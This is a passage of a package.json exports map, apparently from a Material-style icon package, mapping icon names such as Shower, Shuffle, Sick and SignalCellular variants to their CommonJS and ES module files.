\"./ShowerOutlined\": {\n      \"require\": \"./ShowerOutlined.js\",\n      \"import\": \"./ShowerOutlined.mjs\",\n      \"default\": \"./ShowerOutlined.mjs\"\n    },\n    \"./ShowerRounded\": {\n      \"require\": \"./ShowerRounded.js\",\n      \"import\": \"./ShowerRounded.mjs\",\n      \"default\": \"./ShowerRounded.mjs\"\n    },\n    \"./ShowerSharp\": {\n      \"require\": \"./ShowerSharp.js\",\n      \"import\": \"./ShowerSharp.mjs\",\n      \"default\": \"./ShowerSharp.mjs\"\n    },\n    \"./ShowerTwoTone\": {\n      \"require\": \"./ShowerTwoTone.js\",\n      \"import\": \"./ShowerTwoTone.mjs\",\n      \"default\": \"./ShowerTwoTone.mjs\"\n    },\n    \"./Shuffle\": {\n      \"require\": \"./Shuffle.js\",\n      \"import\": \"./Shuffle.mjs\",\n      \"default\": \"./Shuffle.mjs\"\n    },\n    \"./ShuffleOn\": {\n      \"require\": \"./ShuffleOn.js\",\n      \"import\": \"./ShuffleOn.mjs\",\n      \"default\": \"./ShuffleOn.mjs\"\n    },\n    \"./ShuffleOnOutlined\": {\n      \"require\": \"./ShuffleOnOutlined.js\",\n      \"import\": \"./ShuffleOnOutlined.mjs\",\n      \"default\": \"./ShuffleOnOutlined.mjs\"\n    },\n    \"./ShuffleOnRounded\": {\n      \"require\": \"./ShuffleOnRounded.js\",\n      \"import\": \"./ShuffleOnRounded.mjs\",\n      \"default\": \"./ShuffleOnRounded.mjs\"\n    },\n    \"./ShuffleOnSharp\": {\n      \"require\": \"./ShuffleOnSharp.js\",\n      \"import\": \"./ShuffleOnSharp.mjs\",\n      \"default\": \"./ShuffleOnSharp.mjs\"\n    },\n    \"./ShuffleOnTwoTone\": {\n      \"require\": \"./ShuffleOnTwoTone.js\",\n      \"import\": \"./ShuffleOnTwoTone.mjs\",\n      \"default\": \"./ShuffleOnTwoTone.mjs\"\n    },\n    \"./ShuffleOutlined\": {\n      \"require\": \"./ShuffleOutlined.js\",\n      \"import\": \"./ShuffleOutlined.mjs\",\n      \"default\": \"./ShuffleOutlined.mjs\"\n    },\n    \"./ShuffleRounded\": {\n      \"require\": \"./ShuffleRounded.js\",\n      \"import\": \"./ShuffleRounded.mjs\",\n      \"default\": \"./ShuffleRounded.mjs\"\n    },\n    \"./ShuffleSharp\": {\n      \"import\": \"./ShuffleSharp.mjs\",\n      \"require\": \"./ShuffleSharp.js\",\n      \"default\": \"./ShuffleSharp.mjs\"\n    },\n    \"./ShuffleTwoTone\": {\n      \"import\": \"./ShuffleTwoTone.mjs\",\n      \"require\": \"./ShuffleTwoTone.js\",\n      \"default\": \"./ShuffleTwoTone.mjs\"\n    },\n    \"./ShutterSpeed\": {\n      \"import\": \"./ShutterSpeed.mjs\",\n      \"require\": \"./ShutterSpeed.js\",\n      \"default\": \"./ShutterSpeed.mjs\"\n    },\n    \"./ShutterSpeedOutlined\": {\n      \"require\": \"./ShutterSpeedOutlined.js\",\n      \"import\": \"./ShutterSpeedOutlined.mjs\",\n      \"default\": \"./ShutterSpeedOutlined.mjs\"\n    },\n    \"./ShutterSpeedRounded\": {\n      \"require\": \"./ShutterSpeedRounded.js\",\n      \"import\": \"./ShutterSpeedRounded.mjs\",\n      \"default\": \"./ShutterSpeedRounded.mjs\"\n    },\n    \"./ShutterSpeedSharp\": {\n      \"require\": \"./ShutterSpeedSharp.js\",\n      \"import\": \"./ShutterSpeedSharp.mjs\",\n      \"default\": \"./ShutterSpeedSharp.mjs\"\n    },\n    \"./ShutterSpeedTwoTone\": {\n      \"require\": \"./ShutterSpeedTwoTone.js\",\n      \"import\": \"./ShutterSpeedTwoTone.mjs\",\n      \"default\": \"./ShutterSpeedTwoTone.mjs\"\n    },\n    \"./Sick\": {\n      \"require\": \"./Sick.js\",\n      \"import\": \"./Sick.mjs\",\n      \"default\": \"./Sick.mjs\"\n    },\n    \"./SickOutlined\": {\n      \"require\": \"./SickOutlined.js\",\n      \"import\": \"./SickOutlined.mjs\",\n      \"default\": \"./SickOutlined.mjs\"\n    },\n    \"./SickRounded\": {\n      \"require\": \"./SickRounded.js\",\n      \"import\": \"./SickRounded.mjs\",\n      \"default\": \"./SickRounded.mjs\"\n    },\n    \"./SickSharp\": {\n      \"require\": \"./SickSharp.js\",\n      \"import\": \"./SickSharp.mjs\",\n      \"default\": \"./SickSharp.mjs\"\n    },\n    \"./SickTwoTone\": {\n      \"require\": \"./SickTwoTone.js\",\n      \"import\": \"./SickTwoTone.mjs\",\n      \"default\": \"./SickTwoTone.mjs\"\n    },\n    \"./SignLanguage\": {\n      \"require\": \"./SignLanguage.js\",\n      \"import\": \"./SignLanguage.mjs\",\n      \"default\": \"./SignLanguage.mjs\"\n    },\n    \"./SignLanguageOutlined\": {\n      \"require\": \"./SignLanguageOutlined.js\",\n      \"import\": \"./SignLanguageOutlined.mjs\",\n      \"default\": \"./SignLanguageOutlined.mjs\"\n    },\n    \"./SignLanguageRounded\": {\n      \"require\": \"./SignLanguageRounded.js\",\n      \"import\": \"./SignLanguageRounded.mjs\",\n      \"default\": \"./SignLanguageRounded.mjs\"\n    },\n    \"./SignLanguageSharp\": {\n      \"require\": \"./SignLanguageSharp.js\",\n      \"import\": \"./SignLanguageSharp.mjs\",\n      \"default\": \"./SignLanguageSharp.mjs\"\n    },\n    \"./SignLanguageTwoTone\": {\n      \"require\": \"./SignLanguageTwoTone.js\",\n      \"import\": \"./SignLanguageTwoTone.mjs\",\n      \"default\": \"./SignLanguageTwoTone.mjs\"\n    },\n    \"./SignalCellular0Bar\": {\n      \"require\": \"./SignalCellular0Bar.js\",\n      \"import\": \"./SignalCellular0Bar.mjs\",\n      \"default\": \"./SignalCellular0Bar.mjs\"\n    },\n    \"./SignalCellular0BarOutlined\": {\n      \"require\": \"./SignalCellular0BarOutlined.js\",\n      \"import\": \"./SignalCellular0BarOutlined.mjs\",\n      \"default\": \"./SignalCellular0BarOutlined.mjs\"\n    },\n    \"./SignalCellular0BarRounded\": {\n      \"require\": \"./SignalCellular0BarRounded.js\",\n      \"import\": \"./SignalCellular0BarRounded.mjs\",\n      \"default\": \"./SignalCellular0BarRounded.mjs\"\n    },\n    \"./SignalCellular0BarSharp\": {\n      \"require\": \"./SignalCellular0BarSharp.js\",\n      \"import\": \"./SignalCellular0BarSharp.mjs\",\n      \"default\": \"./SignalCellular0BarSharp.mjs\"\n    },\n    \"./SignalCellular0BarTwoTone\": {\n      \"require\": \"./SignalCellular0BarTwoTone.js\",\n      \"import\": \"./SignalCellular0BarTwoTone.mjs\",\n      \"default\": \"./SignalCellular0BarTwoTone.mjs\"\n    },\n    \"./SignalCellular1Bar\": {\n      \"require\": \"./SignalCellular1Bar.js\",\n      \"import\": \"./SignalCellular1Bar.mjs\",\n      \"default\": \"./SignalCellular1Bar.mjs\"\n    },\n    \"./SignalCellular1BarOutlined\": {\n      \"require\": \"./SignalCellular1BarOutlined.js\",\n      \"import\": \"./SignalCellular1BarOutlined.mjs\",\n      \"default\": \"./SignalCellular1BarOutlined.mjs\"\n    },\n    \"./SignalCellular1BarRounded\": {\n      \"require\": \"./SignalCellular1BarRounded.js\",\n      \"import\": \"./SignalCellular1BarRounded.mjs\",\n      \"default\": \"./SignalCellular1BarRounded.mjs\"\n    },\n    \"./SignalCellular1BarSharp\": {\n      \"require\": \"./SignalCellular1BarSharp.js\",\n      \"import\": \"./SignalCellular1BarSharp.mjs\",\n      \"default\": \"./SignalCellular1BarSharp.mjs\"\n    },\n    \"./SignalCellular1BarTwoTone\": {\n      \"require\": \"./SignalCellular1BarTwoTone.js\",\n      \"import\": \"./SignalCellular1BarTwoTone.mjs\",\n      \"default\": \"./SignalCellular1BarTwoTone.mjs\"\n    },\n    \"./SignalCellular2Bar\": {\n      \"require\": \"./SignalCellular2Bar.js\",\n      \"import\": \"./SignalCellular2Bar.mjs\",\n      \"default\": \"./SignalCellular2Bar.mjs\"\n    },\n    \"./SignalCellular2BarOutlined\": {\n      \"require\": \"./SignalCellular2BarOutlined.js\",\n      \"import\": \"./SignalCellular2BarOutlined.mjs\",\n      \"default\": \"./SignalCellular2BarOutlined.mjs\"\n    },\n    \"./SignalCellular2BarRounded\": {\n      \"import\": \"./SignalCellular2BarRounded.mjs\",\n      \"require\": \"./SignalCellular2BarRounded.js\",\n      \"default\": \"./SignalCellular2BarRounded.mjs\"\n    },\n    \"./SignalCellular2BarSharp\": {\n      \"import\": \"./SignalCellular2BarSharp.mjs\",\n      \"require\": \"./SignalCellular2BarSharp.js\",\n      \"default\": \"./SignalCellular2BarSharp.mjs\"\n    },\n    \"./SignalCellular2BarTwoTone\": {\n      \"import\": \"./SignalCellular2BarTwoTone.mjs\",\n      \"require\": \"./SignalCellular2BarTwoTone.js\",\n      \"default\": \"./SignalCellular2BarTwoTone.mjs\"\n    },\n    \"./SignalCellular3Bar\": {\n      \"import\": \"./SignalCellular3Bar.mjs\",\n      \"require\": \"./SignalCellular3Bar.js\",\n      \"default\": \"./SignalCellular3Bar.mjs\"\n    },\n    \"./SignalCellular3BarOutlined\": {\n      \"import\": \"./SignalCellular3BarOutlined.mjs\",\n      \"require\": \"./SignalCellular3BarOutlined.js\",\n      \"default\": \"./SignalCellular3BarOutlined.mjs\"\n    },\n    \"./SignalCellular3BarRounded\": {\n      \"import\": \"./SignalCellular3BarRounded.mjs\",\n      \"require\": \"./SignalCellular3BarRounded.js\",\n      \"default\": \"./SignalCellular3BarRounded.mjs\"\n    },\n    \"./SignalCellular3BarSharp\": {\n      \"import\": \"./SignalCellular3BarSharp.mjs\",\n      \"require\": \"./SignalCellular3BarSharp.js\",\n      \"default\": \"./SignalCellular3BarSharp.mjs\"\n    },\n    \"./SignalCellular3BarTwoTone\": {\n      \"import\": \"./SignalCellular3BarTwoTone.mjs\",\n      \"require\": \"./SignalCellular3BarTwoTone.js\",\n      \"default\": \"./SignalCellular3BarTwoTone.mjs\"\n    },\n    \"./SignalCellular4Bar\": {\n      \"import\": \"./SignalCellular4Bar.mjs\",\n      \"require\": \"./SignalCellular4Bar.js\",\n      \"default\": \"./SignalCellular4Bar.mjs\"\n    },\n    \"./SignalCellular4BarOutlined\": {\n      \"import\": \"./SignalCellular4BarOutlined.mjs\",\n      \"require\": \"./SignalCellular4BarOutlined.js\",\n      \"default\": \"./SignalCellular4BarOutlined.mjs\"\n    },\n    \"./SignalCellular4BarRounded\": {\n      \"import\": \"./SignalCellular4BarRounded.mjs\",\n      \"require\": \"./SignalCellular4BarRounded.js\",\n      \"default\": \"./SignalCellular4BarRounded.mjs\"\n    },\n    \"./SignalCellular4BarSharp\": {\n      \"import\": \"./SignalCellular4BarSharp.mjs\",\n      \"require\": \"./SignalCellular4BarSharp.js\",\n      \"default\": \"./SignalCellular4BarSharp.mjs\"\n    },\n    \"./SignalCellular4BarTwoTone\": {\n      \"import\": \"./SignalCellular4BarTwoTone.mjs\",\n      \"require\": \"./SignalCellular4BarTwoTone.js\",\n      \"default\": \"./SignalCellular4BarTwoTone.mjs\"\n    },\n    \"./SignalCellularAlt\": {\n      \"import\": \"./SignalCellularAlt.mjs\",\n      \"require\": \"./SignalCellularAlt.js\",\n      \"default\": \"./SignalCellularAlt.mjs\"\n    },\n    \"./SignalCellularAlt1Bar\": {\n      \"require\": \"./SignalCellularAlt1Bar.js\",\n      \"import\": \"./SignalCellularAlt1Bar.mjs\",\n      \"default\": \"./SignalCellularAlt1Bar.mjs\"\n    },\n    \"./SignalCellularAlt1BarOutlined\": {\n      \"require\": \"./SignalCellularAlt1BarOutlined.js\",\n      \"import\": \"./SignalCellularAlt1BarOutlined.mjs\",\n      \"default\": \"./SignalCellularAlt1BarOutlined.mjs\"\n    },\n    \"./SignalCellularAlt1BarRounded\": {\n      \"require\": \"./SignalCellularAlt1BarRounded.js\",\n      \"import\": \"./SignalCellularAlt1BarRounded.mjs\",\n      \"default\": \"./SignalCellularAlt1BarRounded.mjs\"\n    },\n    \"./SignalCellularAlt1BarSharp\": {\n      \"import\": \"./SignalCellularAlt1BarSharp.mjs\",\n      \"require\": \"./SignalCellularAlt1BarSharp.js\",\n      \"default\": \"./SignalCellularAlt1BarSharp.mjs\"\n    },\n    \"./SignalCellularAlt1BarTwoTone\": {\n      \"import\": \"./SignalCellularAlt1BarTwoTone.mjs\",\n      \"require\": \"./SignalCellularAlt1BarTwoTone.js\",\n      \"default\": \"./SignalCellularAlt1BarTwoTone.mjs\"\n    },\n    \"./SignalCellularAlt2Bar\": {\n      \"import\": \"./SignalCellularAlt2Bar.mjs\",\n      \"require\": \"./SignalCellularAlt2Bar.js\",\n      \"default\": \"./SignalCellularAlt2Bar.mjs\"\n    },\n    \"./SignalCellularAlt2BarOutlined\": {\n      \"require\": \"./SignalCellularAlt2BarOutlined.js\",\n      \"import\": \"./SignalCellularAlt2BarOutlined.mjs\",\n      \"default\": \"./SignalCellularAlt2BarOutlined.mjs\"\n    },\n    \"./SignalCellularAlt2BarRounded\": {\n      \"require\": \"./SignalCellularAlt2BarRounded.js\",\n      \"import\": \"./SignalCellularAlt2BarRounded.mjs\",\n      \"default\": \"./SignalCellularAlt2BarRounded.mjs\"\n    },\n    \"./SignalCellularAlt2BarSharp\": {\n      \"require\": \"./SignalCellularAlt2BarSharp.js\",\n      \"import\": \"./SignalCellularAlt2BarSharp.mjs\",\n      \"default\": \"./SignalCellularAlt2BarSharp.mjs\"\n    },\n    \"./SignalCellularAlt2BarTwoTone\": {\n      \"require\": \"./SignalCellularAlt2BarTwoTone.js\",\n      \"import\": \"./SignalCellularAlt2BarTwoTone.mjs\",\n      \"default\": \"./SignalCellularAlt2BarTwoTone.mjs\"\n    },\n    \"./SignalCellularAltOutlined\": {\n      \"require\": \"./SignalCellularAltOutlined.js\",\n      \"import\": \"./SignalCellularAltOutlined.mjs\",\n      \"default\": \"./SignalCellularAltOutlined.mjs\"\n    },\n    \"./SignalCellularAltRounded\": {\n      \"require\": \"./SignalCellularAltRounded.js\",\n      \"import\": \"./SignalCellularAltRounded.mjs\",\n      \"default\": \"./SignalCellularAltRounded.mjs\"\n    },\n    \"./SignalCellularAltSharp\": {\n      \"require\": \"./SignalCellularAltSharp.js\",\n      \"import\": \"./SignalCellularAltSharp.mjs\",\n      \"default\": \"./SignalCellularAltSharp.mjs\"\n    },\n    \"./SignalCellularAltTwoTone\": {\n      \"import\": \"./SignalCellularAltTwoTone.mjs\",\n      \"require\": \"./SignalCellularAltTwoTone.js\",\n      \"default\": \"./SignalCellularAltTwoTone.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet0Bar\": {\n      \"import\": \"./SignalCellularConnectedNoInternet0Bar.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet0Bar.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet0Bar.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet0BarOutlined\": {\n      \"import\": \"./SignalCellularConnectedNoInternet0BarOutlined.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet0BarOutlined.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet0BarOutlined.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet0BarRounded\": {\n      \"import\": \"./SignalCellularConnectedNoInternet0BarRounded.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet0BarRounded.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet0BarRounded.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet0BarSharp\": {\n      \"import\": \"./SignalCellularConnectedNoInternet0BarSharp.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet0BarSharp.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet0BarSharp.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet0BarTwoTone\": {\n      \"import\": \"./SignalCellularConnectedNoInternet0BarTwoTone.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet0BarTwoTone.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet0BarTwoTone.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet1Bar\": {\n      \"import\": \"./SignalCellularConnectedNoInternet1Bar.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet1Bar.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet1Bar.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet1BarOutlined\": {\n      \"import\": \"./SignalCellularConnectedNoInternet1BarOutlined.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet1BarOutlined.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet1BarOutlined.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet1BarRounded\": {\n      \"import\": \"./SignalCellularConnectedNoInternet1BarRounded.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet1BarRounded.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet1BarRounded.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet1BarSharp\": {\n      \"import\": \"./SignalCellularConnectedNoInternet1BarSharp.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet1BarSharp.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet1BarSharp.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet1BarTwoTone\": {\n      \"import\": \"./SignalCellularConnectedNoInternet1BarTwoTone.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet1BarTwoTone.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet1BarTwoTone.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet2Bar\": {\n      \"import\": \"./SignalCellularConnectedNoInternet2Bar.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet2Bar.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet2Bar.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet2BarOutlined\": {\n      \"import\": \"./SignalCellularConnectedNoInternet2BarOutlined.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet2BarOutlined.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet2BarOutlined.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet2BarRounded\": {\n      \"import\": \"./SignalCellularConnectedNoInternet2BarRounded.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet2BarRounded.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet2BarRounded.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet2BarSharp\": {\n      \"import\": \"./SignalCellularConnectedNoInternet2BarSharp.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet2BarSharp.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet2BarSharp.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet2BarTwoTone\": {\n      \"import\": \"./SignalCellularConnectedNoInternet2BarTwoTone.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet2BarTwoTone.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet2BarTwoTone.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet3Bar\": {\n      \"import\": \"./SignalCellularConnectedNoInternet3Bar.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet3Bar.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet3Bar.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet3BarOutlined\": {\n      \"import\": \"./SignalCellularConnectedNoInternet3BarOutlined.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet3BarOutlined.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet3BarOutlined.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet3BarRounded\": {\n      \"import\": \"./SignalCellularConnectedNoInternet3BarRounded.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet3BarRounded.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet3BarRounded.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet3BarSharp\": {\n      \"import\": \"./SignalCellularConnectedNoInternet3BarSharp.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet3BarSharp.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet3BarSharp.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet3BarTwoTone\": {\n      \"import\": \"./SignalCellularConnectedNoInternet3BarTwoTone.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet3BarTwoTone.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet3BarTwoTone.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet4Bar\": {\n      \"import\": \"./SignalCellularConnectedNoInternet4Bar.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet4Bar.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet4Bar.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet4BarOutlined\": {\n      \"import\": \"./SignalCellularConnectedNoInternet4BarOutlined.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet4BarOutlined.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet4BarOutlined.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet4BarRounded\": {\n      \"import\": \"./SignalCellularConnectedNoInternet4BarRounded.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet4BarRounded.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet4BarRounded.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet4BarSharp\": {\n      \"import\": \"./SignalCellularConnectedNoInternet4BarSharp.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet4BarSharp.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet4BarSharp.mjs\"\n    },\n    \"./SignalCellularConnectedNoInternet4BarTwoTone\": {\n      \"import\": \"./SignalCellularConnectedNoInternet4BarTwoTone.mjs\",\n      \"require\": \"./SignalCellularConnectedNoInternet4BarTwoTone.js\",\n      \"default\": \"./SignalCellularConnectedNoInternet4BarTwoTone.mjs\"\n    },\n    \"./SignalCellularNoSim\": {\n      \"import\": \"./SignalCellularNoSim.mjs\",\n      \"require\": \"./SignalCellularNoSim.js\",\n      \"default\": \"./SignalCellularNoSim.mjs\"\n    },\n    \"./SignalCellularNoSimOutlined\": {\n      \"import\": \"./SignalCellularNoSimOutlined.mjs\",\n      \"require\": \"./SignalCellularNoSimOutlined.js\",\n      \"default\": \"./SignalCellularNoSimOutlined.mjs\"\n    },\n    \"./SignalCellularNoSimRounded\": {\n      \"require\": \"./SignalCellularNoSimRounded.js\",\n      \"import\": \"./SignalCellularNoSimRounded.mjs\",\n      \"default\": \"./SignalCellularNoSimRounded.mjs\"\n    },\n    \"./SignalCellularNoSimSharp\": {\n      \"require\": \"./SignalCellularNoSimSharp.js\",\n      \"import\": \"./SignalCellularNoSimSharp.mjs\",\n      \"default\": \"./SignalCellularNoSimSharp.mjs\"\n    },\n    \"./SignalCellularNoSimTwoTone\": {\n      \"require\": \"./SignalCellularNoSimTwoTone.js\",\n      \"import\": \"./SignalCellularNoSimTwoTone.mjs\",\n      \"default\": \"./SignalCellularNoSimTwoTone.mjs\"\n    },\n    \"./SignalCellularNodata\": {\n      \"import\": \"./SignalCellularNodata.mjs\",\n      \"require\": \"./SignalCellularNodata.js\",\n      \"default\": \"./SignalCellularNodata.mjs\"\n    },\n    \"./SignalCellularNodataOutlined\": {\n      \"require\": \"./SignalCellularNodataOutlined.js\",\n      \"import\": \"./SignalCellularNodataOutlined.mjs\",\n      \"default\": \"./SignalCellularNodataOutlined.mjs\"\n    },\n    \"./SignalCellularNodataRounded\": {\n      \"require\": \"./SignalCellularNodataRounded.js\",\n      \"import\": \"./SignalCellularNodataRounded.mjs\",\n      \"default\": \"./SignalCellularNodataRounded.mjs\"\n    },\n    \"./SignalCellularNodataSharp\": {\n      \"require\": \"./SignalCellularNodataSharp.js\",\n      \"import\": \"./SignalCellularNodataSharp.mjs\",\n      \"default\": \"./SignalCellularNodataSharp.mjs\"\n    },\n    \"./SignalCellularNodataTwoTone\": {\n      \"require\": \"./SignalCellularNodataTwoTone.js\",\n      \"import\": \"./SignalCellularNodataTwoTone.mjs\",\n      \"default\": \"./SignalCellularNodataTwoTone.mjs\"\n    },\n    \"./SignalCellularNull\": {\n      \"require\": \"./SignalCellularNull.js\",\n      \"import\": \"./SignalCellularNull.mjs\",\n      \"default\": \"./SignalCellularNull.mjs\"\n    },\n    \"./SignalCellularNullOutlined\": {\n      \"require\": \"./SignalCellularNullOutlined.js\",\n      \"import\": \"./SignalCellularNullOutlined.mjs\",\n      \"default\": \"./SignalCellularNullOutlined.mjs\"\n    },\n    \"./SignalCellularNullRounded\": {\n      \"require\": \"./SignalCellularNullRounded.js\",\n      \"import\": \"./SignalCellularNullRounded.mjs\",\n      \"default\": \"./SignalCellularNullRounded.mjs\"\n    },\n    \"./SignalCellularNullSharp\": {\n      \"require\": \"./SignalCellularNullSharp.js\",\n      \"import\": \"./SignalCellularNullSharp.mjs\",\n      \"default\": \"./SignalCellularNullSharp.mjs\"\n    },\n    \"./SignalCellularNullTwoTone\": {\n      \"require\": \"./SignalCellularNullTwoTone.js\",\n      \"import\": \"./SignalCellularNullTwoTone.mjs\",\n      \"default\": \"./SignalCellularNullTwoTone.mjs\"\n    },\n    \"./SignalCellularOff\": {\n      \"require\": \"./SignalCellularOff.js\",\n      \"import\": \"./SignalCellularOff.mjs\",\n      \"default\": \"./SignalCellularOff.mjs\"\n    },\n    \"./SignalCellularOffOutlined\": {\n      \"require\": \"./SignalCellularOffOutlined.js\",\n      \"import\": \"./SignalCellularOffOutlined.mjs\",\n      \"default\": \"./SignalCellularOffOutlined.mjs\"\n    },\n    \"./SignalCellularOffRounded\": {\n      \"require\": \"./SignalCellularOffRounded.js\",\n      \"import\": \"./SignalCellularOffRounded.mjs\",\n      \"default\": \"./SignalCellularOffRounded.mjs\"\n    },\n    \"./SignalCellularOffSharp\": {\n      \"require\": \"./SignalCellularOffSharp.js\",\n      \"import\": \"./SignalCellularOffSharp.mjs\",\n      \"default\": \"./SignalCellularOffSharp.mjs\"\n    },\n    \"./SignalCellularOffTwoTone\": {\n      \"require\": \"./SignalCellularOffTwoTone.js\",\n      \"import\": \"./SignalCellularOffTwoTone.mjs\",\n      \"default\": \"./SignalCellularOffTwoTone.mjs\"\n    },\n    \"./SignalWifi0Bar\": {\n      \"require\": \"./SignalWifi0Bar.js\",\n      \"import\": \"./SignalWifi0Bar.mjs\",\n      \"default\": \"./SignalWifi0Bar.mjs\"\n    },\n    \"./SignalWifi0BarOutlined\": {\n      \"require\": \"./SignalWifi0BarOutlined.js\",\n      \"import\": \"./SignalWifi0BarOutlined.mjs\",\n      \"default\": \"./SignalWifi0BarOutlined.mjs\"\n    },\n    \"./SignalWifi0BarRounded\": {\n      \"require\": \"./SignalWifi0BarRounded.js\",\n      \"import\": \"./SignalWifi0BarRounded.mjs\",\n      \"default\": \"./SignalWifi0BarRounded.mjs\"\n    },\n    \"./SignalWifi0BarSharp\": {\n      \"require\": \"./SignalWifi0BarSharp.js\",\n      \"import\": \"./SignalWifi0BarSharp.mjs\",\n      \"default\": \"./SignalWifi0BarSharp.mjs\"\n    },\n    \"./SignalWifi0BarTwoTone\": {\n      \"require\": \"./SignalWifi0BarTwoTone.js\",\n      \"import\": \"./SignalWifi0BarTwoTone.mjs\",\n      \"default\": \"./SignalWifi0BarTwoTone.mjs\"\n    },\n    \"./SignalWifi1Bar\": {\n      \"require\": \"./SignalWifi1Bar.js\",\n      \"import\": \"./SignalWifi1Bar.mjs\",\n      \"default\": \"./SignalWifi1Bar.mjs\"\n    },\n    \"./SignalWifi1BarLock\": {\n      \"require\": \"./SignalWifi1BarLock.js\",\n      \"import\": \"./SignalWifi1BarLock.mjs\",\n      \"default\": \"./SignalWifi1BarLock.mjs\"\n    },\n    \"./SignalWifi1BarLockOutlined\": {\n      \"require\": \"./SignalWifi1BarLockOutlined.js\",\n      \"import\": \"./SignalWifi1BarLockOutlined.mjs\",\n      \"default\": \"./SignalWifi1BarLockOutlined.mjs\"\n    },\n    \"./SignalWifi1BarLockRounded\": {\n      \"require\": \"./SignalWifi1BarLockRounded.js\",\n      \"import\": \"./SignalWifi1BarLockRounded.mjs\",\n      \"default\": \"./SignalWifi1BarLockRounded.mjs\"\n    },\n    \"./SignalWifi1BarLockSharp\": {\n      \"require\": \"./SignalWifi1BarLockSharp.js\",\n      \"import\": \"./SignalWifi1BarLockSharp.mjs\",\n      \"default\": \"./SignalWifi1BarLockSharp.mjs\"\n    },\n    \"./SignalWifi1BarLockTwoTone\": {\n      \"require\": \"./SignalWifi1BarLockTwoTone.js\",\n      \"import\": \"./SignalWifi1BarLockTwoTone.mjs\",\n      \"default\": \"./SignalWifi1BarLockTwoTone.mjs\"\n    },\n    \"./SignalWifi1BarOutlined\": {\n      \"require\": \"./SignalWifi1BarOutlined.js\",\n      \"import\": \"./SignalWifi1BarOutlined.mjs\",\n      \"default\": \"./SignalWifi1BarOutlined.mjs\"\n    },\n    \"./SignalWifi1BarRounded\": {\n      \"require\": \"./SignalWifi1BarRounded.js\",\n      \"import\": \"./SignalWifi1BarRounded.mjs\",\n      \"default\": \"./SignalWifi1BarRounded.mjs\"\n    },\n    \"./SignalWifi1BarSharp\": {\n      \"require\": \"./SignalWifi1BarSharp.js\",\n      \"import\": \"./SignalWifi1BarSharp.mjs\",\n      \"default\": \"./SignalWifi1BarSharp.mjs\"\n    },\n    \"./SignalWifi1BarTwoTone\": {\n      \"require\": \"./SignalWifi1BarTwoTone.js\",\n      \"import\": \"./SignalWifi1BarTwoTone.mjs\",\n      \"default\": \"./SignalWifi1BarTwoTone.mjs\"\n    },\n    \"./SignalWifi2Bar\": {\n      \"require\": \"./SignalWifi2Bar.js\",\n      \"import\": \"./SignalWifi2Bar.mjs\",\n      \"default\": \"./SignalWifi2Bar.mjs\"\n    },\n    \"./SignalWifi2BarLock\": {\n      \"require\": 